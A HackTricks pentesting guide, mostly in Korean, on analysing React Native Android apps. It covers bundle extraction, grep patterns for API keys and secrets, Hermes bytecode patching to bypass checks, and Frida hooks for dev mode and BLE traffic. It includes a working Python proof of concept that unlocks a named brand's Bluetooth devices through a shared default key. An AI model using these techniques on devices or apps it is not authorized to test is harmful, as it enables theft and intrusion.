React Native ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ถ„์„

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด React Native ํ”„๋ ˆ์ž„์›Œํฌ๋กœ ๋นŒ๋“œ๋˜์—ˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฅด์„ธ์š”:

  1. APK ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋ฅผ zip์œผ๋กœ ๋ฐ”๊พธ๊ณ  cp com.example.apk example-apk.zip ๋ฐ unzip -qq example-apk.zip -d ReactNative ๋ช…๋ น์œผ๋กœ ์ƒˆ ํด๋”์— ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค.

  2. ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ReactNative ํด๋”๋กœ ์ด๋™ํ•˜์—ฌ assets ํด๋”๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. ์ด ํด๋” ์•ˆ์—์„œ index.android.bundle ํŒŒ์ผ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” minified ํ˜•์‹์˜ React JavaScript๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

  3. JavaScript ํŒŒ์ผ์„ ๊ฒ€์ƒ‰ํ•˜๋ ค๋ฉด find . -print | grep -i ".bundle$" ๋ช…๋ น์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

Note: APK ๋Œ€์‹  Android App Bundle (.aab)์ด ์ œ๊ณต๋œ ๊ฒฝ์šฐ ๋จผ์ € universal APK๋ฅผ ์ƒ์„ฑํ•œ ๋‹ค์Œ ๋ฒˆ๋“ค์„ ์ถ”์ถœํ•˜์„ธ์š”:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Javascript ์ฝ”๋“œ

If checking the contents of the index.android.bundle you find the JavaScript code of the application (even if minified), you can ๋ถ„์„ํ•˜์—ฌ ๋ฏผ๊ฐํ•œ ์ •๋ณด์™€ ์ทจ์•ฝ์ ์„ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

As the bundle contains actually all the JS code of the application itโ€™s possible to ์—ฌ๋Ÿฌ ํŒŒ์ผ๋กœ ๋ถ„ํ• ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (potentially making easier its reverse engineering) using the ๋„๊ตฌ react-native-decompiler.

Webpack

To further analyze the JavaScript code, you can upload the file to https://spaceraccoon.github.io/webpack-exploder/ or follow these steps:

  1. ๊ฐ™์€ ๋””๋ ‰ํ„ฐ๋ฆฌ์— index.html์ด๋ผ๋Š” ํŒŒ์ผ์„ ๋งŒ๋“ค๊ณ  ๋‹ค์Œ ์ฝ”๋“œ๋ฅผ ๋„ฃ์œผ์„ธ์š”:
<script src="./index.android.bundle"></script>
  1. Google Chrome์—์„œ index.html ํŒŒ์ผ์„ ์—ฝ๋‹ˆ๋‹ค.

  2. OS X์—์„œ๋Š” Command+Option+J, Windows์—์„œ๋Š” Control+Shift+J๋ฅผ ๋ˆŒ๋Ÿฌ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋ฅผ ์—ฝ๋‹ˆ๋‹ค.

  3. ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์—์„œ โ€œSourcesโ€œ๋ฅผ ํด๋ฆญํ•ฉ๋‹ˆ๋‹ค. ํด๋”์™€ ํŒŒ์ผ๋กœ ๋ถ„๋ฆฌ๋œ JavaScript ํŒŒ์ผ์ด ๋ณด์ด๋ฉฐ, ์ด๊ฒƒ์ด ๋ฉ”์ธ ๋ฒˆ๋“ค์ž…๋‹ˆ๋‹ค.

๋งŒ์•ฝ index.android.bundle.map๋ผ๋Š” ํŒŒ์ผ์„ ์ฐพ์œผ๋ฉด, ์••์ถ•๋˜์ง€ ์•Š์€ ํ˜•ํƒœ(unminified)๋กœ ์†Œ์Šค ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Map ํŒŒ์ผ์€ ์†Œ์Šค ๋งคํ•‘์„ ํฌํ•จํ•˜๊ณ  ์žˆ์–ด, ์••์ถ•๋œ ์‹๋ณ„์ž๋“ค์„ ์›๋ž˜ ์†Œ์Šค์™€ ๋งคํ•‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

๋ฏผ๊ฐํ•œ ์ž๊ฒฉ์ฆ๋ช… ๋ฐ endpoints๋ฅผ ๊ฒ€์ƒ‰ํ•˜๋ ค๋ฉด, ๋‹ค์Œ ๋‹จ๊ณ„๋ฅผ ๋”ฐ๋ฅด์„ธ์š”:

  1. JavaScript ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜๊ธฐ ์œ„ํ•ด ๋ฏผ๊ฐํ•œ ํ‚ค์›Œ๋“œ๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. React Native ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… Firebase, AWS S3 ๊ฐ™์€ ์„œ๋“œํŒŒํ‹ฐ ์„œ๋น„์Šค์˜ endpoints, private keys ๋“ฑ๊ณผ ๊ฐ™์€ ํ•ญ๋ชฉ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

  2. ์ด ํŠน์ • ์‚ฌ๋ก€์—์„œ๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด Dialogflow ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ด€์ฐฐ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ๊ตฌ์„ฑ๊ณผ ๊ด€๋ จ๋œ ํŒจํ„ด์„ ๊ฒ€์ƒ‰ํ•˜์„ธ์š”.

  3. ๋ฆฌ์ฝ˜ ๊ณผ์ •์—์„œ ๋‹คํ–‰ํžˆ ๋ฏผ๊ฐํ•œ ํ•˜๋“œ์ฝ”๋”ฉ๋œ ์ž๊ฒฉ์ฆ๋ช…์ด JavaScript ์ฝ”๋“œ์—์„œ ๋ฐœ๊ฒฌ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

Quick secrets/endpoint hunting in bundles

์ด๋Ÿฌํ•œ ๊ฐ„๋‹จํ•œ greps๋Š” minified JS์—์„œ๋„ ํฅ๋ฏธ๋กœ์šด ์ง€ํ‘œ๋ฅผ ์ž์ฃผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Over-The-Air ์—…๋ฐ์ดํŠธ ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์˜์‹ฌ๋˜๋ฉด, ๋‹ค์Œ๋„ ์ฐพ์•„๋ณด์„ธ์š”:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

JS code ๋ณ€๊ฒฝ ๋ฐ ์žฌ๋นŒ๋“œ

์ด ๊ฒฝ์šฐ code ๋ณ€๊ฒฝ์€ ์‰ฝ์Šต๋‹ˆ๋‹ค. ์•ฑ์˜ ํ™•์žฅ์ž๋ฅผ .zip์œผ๋กœ ๋ณ€๊ฒฝํ•ด์„œ ์••์ถ•์„ ํ’€๋ฉด ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ ๋ฒˆ๋“ค ๋‚ด๋ถ€์—์„œ modify the JS code inside this bundle and rebuild the app ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ํ…Œ์ŠคํŠธ ๋ชฉ์ ์œผ๋กœ ์•ฑ์— inject code ํ•  ์ˆ˜ ์žˆ๋„๋ก ์ถฉ๋ถ„ํ•ฉ๋‹ˆ๋‹ค.

Hermes bytecode

๋ฒˆ๋“ค์— Hermes bytecode๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋‹ค๋ฉด, ์•ฑ์˜ Javascript code์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค(์ถ•์†Œ๋œ ๋ฒ„์ „์กฐ์ฐจ๋„).

๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ฒˆ๋“ค์— Hermes bytecode๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

ํ•˜์ง€๋งŒ hbctool, ์ตœ์‹  bytecode ๋ฒ„์ „์„ ์ง€์›ํ•˜๋Š” hbctool์˜ ์—…๋ฐ์ดํŠธ๋œ forks, hasmer, hermes_rs (Rust library/APIs), ๋˜๋Š” **hermes-dec**์„ ์‚ฌ์šฉํ•˜์—ฌ disassemble the bytecodeํ•˜๊ณ  ๋˜ํ•œ decompile it to some pseudo JS codeํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

ํŒ: ์˜คํ”ˆ์†Œ์Šค Hermes ํ”„๋กœ์ ํŠธ๋Š” ํŠน์ • Hermes ๋ฆด๋ฆฌ์Šค์— hbcdump ๊ฐ™์€ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๋ฒˆ๋“ค์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ Hermes ๋ฒ„์ „๊ณผ ์ผ์น˜ํ•˜๋Š” ๋ฒ„์ „์„ ๋นŒ๋“œํ•˜๋ฉด, hbcdump๋กœ ํ•จ์ˆ˜, ๋ฌธ์ž์—ด ํ…Œ์ด๋ธ” ๋ฐ ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ๋คํ”„ํ•˜์—ฌ ๋” ์‹ฌ์ธต์ ์ธ ๋ถ„์„์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ฝ”๋“œ ๋ณ€๊ฒฝ ๋ฐ ์žฌ๋นŒ๋“œ (Hermes)

์ด์ƒ์ ์œผ๋กœ๋Š” ์—ญ์–ด์…ˆ๋ธ”๋œ ์ฝ”๋“œ๋ฅผ ์ˆ˜์ •(๋น„๊ต ์—ฐ์‚ฐ์„ ๋ฐ”๊พธ๊ฑฐ๋‚˜ ๊ฐ’ ๋“ฑ์„ ๋ณ€๊ฒฝ)ํ•œ ๋’ค ๋ฐ”์ดํŠธ์ฝ”๋“œ๋ฅผ ์žฌ์ƒ์„ฑํ•˜๊ณ  ์•ฑ์„ ์žฌ๋นŒ๋“œํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • ์›๋ž˜์˜ hbctool ์€ ๋ฒˆ๋“ค์„ ๋””์Šค์–ด์…ˆ๋ธ”ํ•˜๊ณ  ๋ณ€๊ฒฝ ํ›„์— ๋‹ค์‹œ ๋นŒ๋“œํ•˜๋Š” ๊ฒƒ์„ ์ง€์›ํ•˜์ง€๋งŒ, ์—ญ์‚ฌ์ ์œผ๋กœ๋Š” ๊ตฌ๋ฒ„์ „ ๋ฐ”์ดํŠธ์ฝ”๋“œ๋งŒ ์ง€์›ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ปค๋ฎค๋‹ˆํ‹ฐ๊ฐ€ ์œ ์ง€ํ•˜๋Š” ํฌํฌ๋“ค์€ (mid-80sโ€“96์„ ํฌํ•จํ•œ) ์ตœ์‹  Hermes ๋ฒ„์ „์— ๋Œ€ํ•œ ์ง€์›์„ ํ™•์žฅํ•˜์—ฌ ํ˜„๋Œ€์˜ RN ์•ฑ์„ ์ˆ˜์ •ํ•  ๋•Œ ์‹ค์šฉ์ ์ธ ์„ ํƒ์ธ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค.
  • ๋„๊ตฌ hermes-dec ์€ ๋ฐ”์ดํŠธ์ฝ”๋“œ ์žฌ์ƒ์„ฑ์„ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค (decompiler/disassembler ์ „์šฉ)๋งŒ, ๋กœ์ง์„ ํƒ์ƒ‰ํ•˜๊ณ  ๋ฌธ์ž์—ด์„ ๋คํ”„ํ•˜๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • ๋„๊ตฌ hasmer ๋Š” ์—ฌ๋Ÿฌ Hermes ๋ฒ„์ „์— ๋Œ€ํ•ด ๋””์Šค์–ด์…ˆ๋ธ” ๋ฐ ์–ด์…ˆ๋ธ”์„ ๋ชจ๋‘ ์ง€์›ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•ฉ๋‹ˆ๋‹ค; ์–ด์…ˆ๋ธ” ๊ธฐ๋Šฅ์€ ์•„์ง ์„ฑ์ˆ™ ์ค‘์ด์ง€๋งŒ ์ตœ์‹  ๋ฐ”์ดํŠธ์ฝ”๋“œ์—์„œ ์‹œ๋„ํ•ด๋ณผ ๋งŒํ•ฉ๋‹ˆ๋‹ค.

A minimal workflow with hbctool-like assemblers:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Note that Hermes bytecode format is versioned and the assembler must match the exact on-disk format. If you get format errors, switch to an updated fork/alternative or rebuild the matching Hermes tooling.

๋™์  ๋ถ„์„

์•ฑ์„ ๋™์ ์œผ๋กœ ๋ถ„์„ํ•˜๋ ค๋ฉด Frida๋ฅผ ์‚ฌ์šฉํ•ด React ์•ฑ์˜ developer mode๋ฅผ ํ™œ์„ฑํ™”ํ•˜๊ณ  **react-native-debugger**๋กœ ์—ฐ๊ฒฐํ•ด๋ณด์„ธ์š”. ๋‹ค๋งŒ ์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ์•ฑ์˜ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ํ•„์š”ํ•ด ๋ณด์ž…๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/์—์„œ ํ™•์ธํ•˜์„ธ์š”.

Frida๋กœ release์—์„œ Dev Support ํ™œ์„ฑํ™” (์ฃผ์˜์‚ฌํ•ญ)

์ผ๋ถ€ ์•ฑ์€ ์‹ค์ˆ˜๋กœ Dev Support๋ฅผ ํ† ๊ธ€ํ•  ์ˆ˜ ์žˆ๋Š” ํด๋ž˜์Šค๋ฅผ ํฌํ•จํ•ด์„œ ๋ฐฐํฌํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ํด๋ž˜์Šค๊ฐ€ ์กด์žฌํ•œ๋‹ค๋ฉด getUseDeveloperSupport()๊ฐ€ true๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๊ฐ•์ œํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

๊ฒฝ๊ณ : ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๋นŒ๋“œ๋œ release ๋นŒ๋“œ์—์„œ๋Š” DevSupportManagerImpl ๋ฐ ๊ด€๋ จ ๋””๋ฒ„๊ทธ ์ „์šฉ ํด๋ž˜์Šค๊ฐ€ ์ œ๊ฑฐ๋˜๋ฉฐ ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ „ํ™˜ํ•˜๋ฉด ์•ฑ์ด ์ถฉ๋Œํ•˜๊ฑฐ๋‚˜ ์•„๋ฌด ํšจ๊ณผ๊ฐ€ ์—†์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ž‘๋™ํ•˜๋Š” ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ๊ฐœ๋ฐœ์ž ๋ฉ”๋‰ด๋ฅผ ๋…ธ์ถœ์‹œํ‚ค๊ณ  ๋””๋ฒ„๊ฑฐ/์ธ์ŠคํŽ™ํ„ฐ์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

RN ์•ฑ์—์„œ์˜ ๋„คํŠธ์›Œํฌ ๊ฐ€๋กœ์ฑ„๊ธฐ

React Native Android๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ๋‚ด๋ถ€์ ์œผ๋กœ OkHttp๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค (Networking native module์„ ํ†ตํ•ด). ๋ฃจํŒ…๋˜์ง€ ์•Š์€ ๊ธฐ๊ธฐ์—์„œ ๋™์  ํ…Œ์ŠคํŠธ ์ค‘ ํŠธ๋ž˜ํ”ฝ์„ ๊ฐ€๋กœ์ฑ„๊ฑฐ๋‚˜ ๊ด€์ฐฐํ•˜๋ ค๋ฉด:

  • ์‹œ์Šคํ…œ ํ”„๋ก์‹œ + ์‚ฌ์šฉ์ž CA ์‹ ๋ขฐ ๋˜๋Š” ๋‹ค๋ฅธ ์ผ๋ฐ˜์ ์ธ Android TLS ์šฐํšŒ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์„ธ์š”.
  • RN ์ „์šฉ ํŒ: ์•ฑ์ด ์‹ค์ˆ˜๋กœ release์— Flipper(๋””๋ฒ„๊ทธ ๋„๊ตฌ)๋ฅผ ๋ฒˆ๋“คํ•˜๋ฉด Flipper Network plugin์ด ์š”์ฒญ/์‘๋‹ต์„ ๋…ธ์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์ธ Android ๊ฐ€๋กœ์ฑ„๊ธฐ ๋ฐ pinning ์šฐํšŒ ๊ธฐ๋ฒ•์€ ๋‹ค์Œ์„ ์ฐธ๊ณ ํ•˜์„ธ์š”:

Make APK Accept CA Certificate

Objection Tutorial

Frida๋กœ ๋Ÿฐํƒ€์ž„ GATT ํ”„๋กœํ† ์ฝœ ๋ฐœ๊ฒฌ (Hermes ์นœํ™”์ )

Hermes ๋ฐ”์ดํŠธ์ฝ”๋“œ๊ฐ€ JS์˜ ์‰ฌ์šด ์ •์  ๋ถ„์„์„ ๋ง‰์„ ๋•Œ๋Š” ๋Œ€์‹  Android BLE ์Šคํƒ์„ ํ›„ํ‚นํ•˜์„ธ์š”. android.bluetooth.BluetoothGatt์™€ BluetoothGattCallback์€ ์•ฑ์ด ์†ก์ˆ˜์‹ ํ•˜๋Š” ๋ชจ๋“  ๊ฒƒ์„ ๋…ธ์ถœํ•˜๋ฏ€๋กœ JS ์†Œ์Šค ์—†์ด๋„ ๋…์ ์ ์ธ challenge-response ๋ฐ ๋ช…๋ น ํ”„๋ ˆ์ž„์„ ์—ญ๋ถ„์„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Frida GATT logger (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(โ€˜android.bluetooth.BluetoothGattCharacteristicโ€™).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(โ€˜android.bluetooth.BluetoothGattCharacteristicโ€™,โ€˜[Bโ€™,โ€˜intโ€™).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(โ€˜android.bluetooth.BluetoothGattโ€™,โ€˜intโ€™,โ€˜intโ€™).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(โ€˜android.bluetooth.BluetoothGattโ€™,โ€˜android.bluetooth.BluetoothGattCharacteristicโ€™,โ€˜intโ€™).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(โ€˜android.bluetooth.BluetoothGattโ€™,โ€˜android.bluetooth.BluetoothGattCharacteristicโ€™).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

`java.security.MessageDigest`๋ฅผ ํ›„ํ‚นํ•˜์—ฌ ํ•ด์‹œ ๊ธฐ๋ฐ˜ ํ•ธ๋“œ์…ฐ์ดํฌ์˜ ์ง€๋ฌธ์„ ์‹๋ณ„ํ•˜๊ณ  ์ •ํ™•ํ•œ ์ž…๋ ฅ ๊ฒฐํ•ฉ์„ ์บก์ฒ˜ํ•ฉ๋‹ˆ๋‹ค:

<details>
<summary>Frida MessageDigest ํŠธ๋ ˆ์ด์„œ (์•Œ๊ณ ๋ฆฌ์ฆ˜, ์ž…๋ ฅ, ์ถœ๋ ฅ)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

์‹ค์ œ ์‚ฌ๋ก€์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ BLE ํ๋ฆ„์ด ํ™•์ธ๋˜์—ˆ๋‹ค:

  • Read challenge from 00002556-1212-efde-1523-785feabcd123.
  • Compute response = SHA1(challenge || key) where the key was a 20-byte default of 0xFF provisioned across all devices.
  • Write the response to 00002557-1212-efde-1523-785feabcd123, then issue commands on 0000155f-1212-efde-1523-785feabcd123.

์ธ์ฆ์ด ์™„๋ฃŒ๋˜๋ฉด, ๋ช…๋ น์€ ...155f...๋กœ ์ „์†ก๋˜๋Š” 10๋ฐ”์ดํŠธ ํ”„๋ ˆ์ž„์ด์—ˆ๋‹ค ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). ์˜ˆ: unlock 00 D4 00 01 00 00 00 00 00 00, lock ...02..., eco-mode on ...03...01..., open battery ...04.... ์•Œ๋ฆผ์€ 0000155e-1212-efde-1523-785feabcd123์—์„œ ๋„์ฐฉํ–ˆ์œผ๋ฉฐ(2๋ฐ”์ดํŠธ registry + payload), registry ๊ฐ’์„ ์กฐํšŒํ•˜๋ ค๋ฉด registry ID๋ฅผ 00001564-1212-efde-1523-785feabcd123์— ์“ฐ๊ณ  ...155f...์—์„œ ๋‹ค์‹œ ์ฝ์œผ๋ฉด ๋œ๋‹ค.

๊ณต์œ /๊ธฐ๋ณธ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด challenge-response ๋ฐฉ์‹์ด ๋ฌด๋ ฅํ™”๋œ๋‹ค. ๊ทผ์ฒ˜์˜ ๊ณต๊ฒฉ์ž๋Š” digest๋ฅผ ๊ณ„์‚ฐํ•ด ๊ถŒํ•œ ์žˆ๋Š” ๋ช…๋ น์„ ์ „์†กํ•  ์ˆ˜ ์žˆ๋‹ค. ์ตœ์†Œํ•œ์˜ bleak PoC:

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [โ€œAIKEโ€,โ€œAIKE_Tโ€,โ€œAIKE_11โ€] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + bโ€™\xffโ€™*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(โ€˜00 d4 00 01 00 00 00 00 00 00โ€™), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## ์ธ๊ธฐ ์žˆ๋Š” RN ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ตœ๊ทผ ์ด์Šˆ (ํ™•์ธํ•  ํ•ญ๋ชฉ)

JS ๋ฒˆ๋“ค ๋˜๋Š” native libs์—์„œ ๋ณด์ด๋Š” ์„œ๋“œํŒŒํ‹ฐ ๋ชจ๋“ˆ์„ ๊ฐ์‚ฌํ•  ๋•Œ, ์•Œ๋ ค์ง„ ์ทจ์•ฝ์ ์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ณ  `package.json`/`yarn.lock`์˜ ๋ฒ„์ „์„ ๊ฒ€์ฆํ•˜์„ธ์š”.

- react-native-mmkv (Android): versions prior to 2.11.0 logged the optional ์•”ํ˜ธํ™” ํ‚ค to Android logs. If ADB/logcat is available, secrets could be recovered. Ensure >= 2.11.0. Indicators: usage of `react-native-mmkv`, log statements mentioning MMKV init with encryption. CVE-2024-21668.
- react-native-document-picker: versions < 9.1.1 were vulnerable to path traversal on Android (file selection), fixed in 9.1.1. ์ž…๋ ฅ๊ฐ’๊ณผ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฒ„์ „์„ ๊ฒ€์ฆํ•˜์„ธ์š”.

๋น ๋ฅธ ํ™•์ธ:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ